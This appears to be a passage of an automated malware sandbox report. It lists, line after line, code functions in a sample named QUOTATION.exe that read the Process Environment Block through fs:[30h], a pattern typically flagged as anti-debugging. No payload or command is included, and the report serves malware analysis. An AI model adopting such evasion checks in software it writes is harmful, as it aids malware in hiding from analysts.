Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374A390 mov eax, dword ptr fs:[00000030h]	8_2_3374A390
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374A390 mov eax, dword ptr fs:[00000030h]	8_2_3374A390
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374A390 mov eax, dword ptr fs:[00000030h]	8_2_3374A390
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380 mov eax, dword ptr fs:[00000030h]	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380 mov eax, dword ptr fs:[00000030h]	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380 mov eax, dword ptr fs:[00000030h]	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380 mov eax, dword ptr fs:[00000030h]	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721380 mov eax, dword ptr fs:[00000030h]	8_2_33721380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F380 mov eax, dword ptr fs:[00000030h]	8_2_3373F380
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF38A mov eax, dword ptr fs:[00000030h]	8_2_337DF38A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B273 mov eax, dword ptr fs:[00000030h]	8_2_3371B273
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B273 mov eax, dword ptr fs:[00000030h]	8_2_3371B273
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B273 mov eax, dword ptr fs:[00000030h]	8_2_3371B273
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B327E mov eax, dword ptr fs:[00000030h]	8_2_337B327E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DD270 mov eax, dword ptr fs:[00000030h]	8_2_337DD270
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379D250 mov eax, dword ptr fs:[00000030h]	8_2_3379D250
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379D250 mov ecx, dword ptr fs:[00000030h]	8_2_3379D250
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E124C mov eax, dword ptr fs:[00000030h]	8_2_337E124C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E124C mov eax, dword ptr fs:[00000030h]	8_2_337E124C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E124C mov eax, dword ptr fs:[00000030h]	8_2_337E124C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E124C mov eax, dword ptr fs:[00000030h]	8_2_337E124C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF247 mov eax, dword ptr fs:[00000030h]	8_2_337DF247
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374F24A mov eax, dword ptr fs:[00000030h]	8_2_3374F24A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33740230 mov ecx, dword ptr fs:[00000030h]	8_2_33740230
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A0227 mov eax, dword ptr fs:[00000030h]	8_2_337A0227
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A0227 mov eax, dword ptr fs:[00000030h]	8_2_337A0227
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A0227 mov eax, dword ptr fs:[00000030h]	8_2_337A0227
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375A22B mov eax, dword ptr fs:[00000030h]	8_2_3375A22B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375A22B mov eax, dword ptr fs:[00000030h]	8_2_3375A22B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375A22B mov eax, dword ptr fs:[00000030h]	8_2_3375A22B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371821B mov eax, dword ptr fs:[00000030h]	8_2_3371821B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AB214 mov eax, dword ptr fs:[00000030h]	8_2_337AB214
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AB214 mov eax, dword ptr fs:[00000030h]	8_2_337AB214
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371A200 mov eax, dword ptr fs:[00000030h]	8_2_3371A200
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337302F9 mov eax, dword ptr fs:[00000030h]	8_2_337302F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337172E0 mov eax, dword ptr fs:[00000030h]	8_2_337172E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A2E0 mov eax, dword ptr fs:[00000030h]	8_2_3372A2E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337282E0 mov eax, dword ptr fs:[00000030h]	8_2_337282E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337282E0 mov eax, dword ptr fs:[00000030h]	8_2_337282E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337282E0 mov eax, dword ptr fs:[00000030h]	8_2_337282E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337282E0 mov eax, dword ptr fs:[00000030h]	8_2_337282E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D2EC mov eax, dword ptr fs:[00000030h]	8_2_3371D2EC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D2EC mov eax, dword ptr fs:[00000030h]	8_2_3371D2EC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337432C5 mov eax, dword ptr fs:[00000030h]	8_2_337432C5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F32C9 mov eax, dword ptr fs:[00000030h]	8_2_337F32C9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371C2B0 mov ecx, dword ptr fs:[00000030h]	8_2_3371C2B0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB2BC mov eax, dword ptr fs:[00000030h]	8_2_337FB2BC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB2BC mov eax, dword ptr fs:[00000030h]	8_2_337FB2BC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB2BC mov eax, dword ptr fs:[00000030h]	8_2_337FB2BC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB2BC mov eax, dword ptr fs:[00000030h]	8_2_337FB2BC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF2AE mov eax, dword ptr fs:[00000030h]	8_2_337DF2AE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E92AB mov eax, dword ptr fs:[00000030h]	8_2_337E92AB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337442AF mov eax, dword ptr fs:[00000030h]	8_2_337442AF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337442AF mov eax, dword ptr fs:[00000030h]	8_2_337442AF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337192AF mov eax, dword ptr fs:[00000030h]	8_2_337192AF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33727290 mov eax, dword ptr fs:[00000030h]	8_2_33727290
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33727290 mov eax, dword ptr fs:[00000030h]	8_2_33727290
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33727290 mov eax, dword ptr fs:[00000030h]	8_2_33727290
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E289 mov eax, dword ptr fs:[00000030h]	8_2_3379E289
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33726179 mov eax, dword ptr fs:[00000030h]	8_2_33726179
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3377717A mov eax, dword ptr fs:[00000030h]	8_2_3377717A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3377717A mov eax, dword ptr fs:[00000030h]	8_2_3377717A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375716D mov eax, dword ptr fs:[00000030h]	8_2_3375716D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F3157 mov eax, dword ptr fs:[00000030h]	8_2_337F3157
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F3157 mov eax, dword ptr fs:[00000030h]	8_2_337F3157
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F3157 mov eax, dword ptr fs:[00000030h]	8_2_337F3157
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375415F mov eax, dword ptr fs:[00000030h]	8_2_3375415F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B314A mov eax, dword ptr fs:[00000030h]	8_2_337B314A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B314A mov eax, dword ptr fs:[00000030h]	8_2_337B314A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B314A mov eax, dword ptr fs:[00000030h]	8_2_337B314A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B314A mov eax, dword ptr fs:[00000030h]	8_2_337B314A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F5149 mov eax, dword ptr fs:[00000030h]	8_2_337F5149
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371A147 mov eax, dword ptr fs:[00000030h]	8_2_3371A147
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371A147 mov eax, dword ptr fs:[00000030h]	8_2_3371A147
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371A147 mov eax, dword ptr fs:[00000030h]	8_2_3371A147
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF13E mov eax, dword ptr fs:[00000030h]	8_2_337DF13E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AA130 mov eax, dword ptr fs:[00000030h]	8_2_337AA130
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33757128 mov eax, dword ptr fs:[00000030h]	8_2_33757128
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33757128 mov eax, dword ptr fs:[00000030h]	8_2_33757128
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F113 mov eax, dword ptr fs:[00000030h]	8_2_3371F113
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33750118 mov eax, dword ptr fs:[00000030h]	8_2_33750118
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374510F mov eax, dword ptr fs:[00000030h]	8_2_3374510F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372510D mov eax, dword ptr fs:[00000030h]	8_2_3372510D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337191F0 mov eax, dword ptr fs:[00000030h]	8_2_337191F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337191F0 mov eax, dword ptr fs:[00000030h]	8_2_337191F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337301F1 mov eax, dword ptr fs:[00000030h]	8_2_337301F1
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337301F1 mov eax, dword ptr fs:[00000030h]	8_2_337301F1
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337301F1 mov eax, dword ptr fs:[00000030h]	8_2_337301F1
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374F1F0 mov eax, dword ptr fs:[00000030h]	8_2_3374F1F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374F1F0 mov eax, dword ptr fs:[00000030h]	8_2_3374F1F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E81EE mov eax, dword ptr fs:[00000030h]	8_2_337E81EE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E81EE mov eax, dword ptr fs:[00000030h]	8_2_337E81EE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3372A1E3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3372A1E3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3372A1E3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3372A1E3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3372A1E3
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3374B1E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337291E5 mov eax, dword ptr fs:[00000030h]	8_2_337291E5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337291E5 mov eax, dword ptr fs:[00000030h]	8_2_337291E5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337181EB mov eax, dword ptr fs:[00000030h]	8_2_337181EB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337301C0 mov eax, dword ptr fs:[00000030h]	8_2_337301C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337301C0 mov eax, dword ptr fs:[00000030h]	8_2_337301C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337351C0 mov eax, dword ptr fs:[00000030h]	8_2_337351C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337351C0 mov eax, dword ptr fs:[00000030h]	8_2_337351C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337351C0 mov eax, dword ptr fs:[00000030h]	8_2_337351C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337351C0 mov eax, dword ptr fs:[00000030h]	8_2_337351C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337531BE mov eax, dword ptr fs:[00000030h]	8_2_337531BE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337531BE mov eax, dword ptr fs:[00000030h]	8_2_337531BE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337541BB mov ecx, dword ptr fs:[00000030h]	8_2_337541BB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337541BB mov eax, dword ptr fs:[00000030h]	8_2_337541BB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337541BB mov eax, dword ptr fs:[00000030h]	8_2_337541BB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E1A4 mov eax, dword ptr fs:[00000030h]	8_2_3375E1A4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E1A4 mov eax, dword ptr fs:[00000030h]	8_2_3375E1A4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33749194 mov eax, dword ptr fs:[00000030h]	8_2_33749194
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761190 mov eax, dword ptr fs:[00000030h]	8_2_33761190
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761190 mov eax, dword ptr fs:[00000030h]	8_2_33761190
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33724180 mov eax, dword ptr fs:[00000030h]	8_2_33724180
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33724180 mov eax, dword ptr fs:[00000030h]	8_2_33724180
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33724180 mov eax, dword ptr fs:[00000030h]	8_2_33724180
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33727072 mov eax, dword ptr fs:[00000030h]	8_2_33727072
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33726074 mov eax, dword ptr fs:[00000030h]	8_2_33726074
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33726074 mov eax, dword ptr fs:[00000030h]	8_2_33726074
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337C9060 mov eax, dword ptr fs:[00000030h]	8_2_337C9060
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721051 mov eax, dword ptr fs:[00000030h]	8_2_33721051
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33721051 mov eax, dword ptr fs:[00000030h]	8_2_33721051
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F505B mov eax, dword ptr fs:[00000030h]	8_2_337F505B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33750044 mov eax, dword ptr fs:[00000030h]	8_2_33750044
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A6040 mov eax, dword ptr fs:[00000030h]	8_2_337A6040
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D02D mov eax, dword ptr fs:[00000030h]	8_2_3371D02D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762010 mov ecx, dword ptr fs:[00000030h]	8_2_33762010
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33745004 mov eax, dword ptr fs:[00000030h]	8_2_33745004
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33745004 mov ecx, dword ptr fs:[00000030h]	8_2_33745004
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33728009 mov eax, dword ptr fs:[00000030h]	8_2_33728009
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375D0F0 mov eax, dword ptr fs:[00000030h]	8_2_3375D0F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375D0F0 mov ecx, dword ptr fs:[00000030h]	8_2_3375D0F0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371C0F6 mov eax, dword ptr fs:[00000030h]	8_2_3371C0F6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337190F8 mov eax, dword ptr fs:[00000030h]	8_2_337190F8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337190F8 mov eax, dword ptr fs:[00000030h]	8_2_337190F8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337190F8 mov eax, dword ptr fs:[00000030h]	8_2_337190F8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337190F8 mov eax, dword ptr fs:[00000030h]	8_2_337190F8
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AC0E0 mov ecx, dword ptr fs:[00000030h]	8_2_337AC0E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373B0D0 mov eax, dword ptr fs:[00000030h]	8_2_3373B0D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3371B0D6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3371B0D6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3371B0D6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3371B0D6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F50B7 mov eax, dword ptr fs:[00000030h]	8_2_337F50B7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DB0AF mov eax, dword ptr fs:[00000030h]	8_2_337DB0AF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337600A5 mov eax, dword ptr fs:[00000030h]	8_2_337600A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
